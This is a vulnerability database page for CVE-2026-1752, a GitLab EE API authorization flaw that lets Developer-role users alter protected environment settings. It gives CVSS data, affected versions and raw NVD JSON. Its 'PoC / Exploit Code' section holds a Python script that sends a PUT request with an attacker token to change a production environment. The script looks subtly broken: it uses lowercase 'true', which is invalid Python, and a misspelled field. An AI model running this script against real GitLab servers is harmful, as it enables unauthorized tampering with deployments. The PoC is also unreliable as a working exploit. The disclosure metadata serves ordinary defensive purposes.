Security Vulnerability Report
中文
CVE-2026-1752 CVSS 4.3 MEDIUM

CVE-2026-1752

Published: 2026-04-08 23:16:58
Last Modified: 2026-04-14 17:02:07

Description

GitLab has remediated an issue in GitLab EE affecting all versions from 11.3 before 18.8.9, 18.9 before 18.9.5, and 18.10 before 18.10.3 that could have allowed an authenticated user with developer-role permissions to modify protected environment settings due to improper authorization checks in the API.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
GitLab EE 11.3 至 18.8.9
GitLab EE 18.9 至 18.9.5
GitLab EE 18.10 至 18.10.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target GitLab instance TARGET = "https://gitlab.example.com" PROJECT_ID = 1 ENVIRONMENT_ID = 2 # Attacker's token with Developer role TOKEN = "glpat-xxxxxxxxxxxxxxxxxxxx" headers = {"PRIVATE-TOKEN": TOKEN} # Payload to update protected environment settings payload = { "name": "production", "tier": "production", # Attempting to modify protected tier "stopable": true } url = f"{TARGET}/api/v4/projects/{PROJECT_ID}/environments/{ENVIRONMENT_ID}" response = requests.put(url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Environment settings modified.") else: print(f"[-] Exploit failed. Status code: {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1752", "sourceIdentifier": "[email protected]", "published": "2026-04-08T23:16:58.077", "lastModified": "2026-04-14T17:02:07.153", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab EE affecting all versions from 11.3 before 18.8.9, 18.9 before 18.9.5, and 18.10 before 18.10.3 that could have allowed an authenticated user with developer-role permissions to modify protected environment settings due to improper authorization checks in the API."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "11.3.0", "versionEndExcluding": "18.8.9", "matchCriteriaId": "680D11CA-8B72-40D6-B510-852E4E7C5DE9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.9.0", "versionEndExcluding": "18.9.5", "matchCriteriaId": "3BA6A89D-D2C1-45B9-A8E8-64256816D880"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.10.0", "versionEndExcluding": "18.10.3", "matchCriteriaId": "BB2F3665-2451-4A4D-8538-93F540975F0E"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/04/08/patch-release-gitlab-18-10-3-released/", "source": "[email protected]", "tags": ["Vendor Advisory", "Release Notes"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/588413", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3533545", "source": "[email protected]", "tags": ["Permissions Required"]}]}}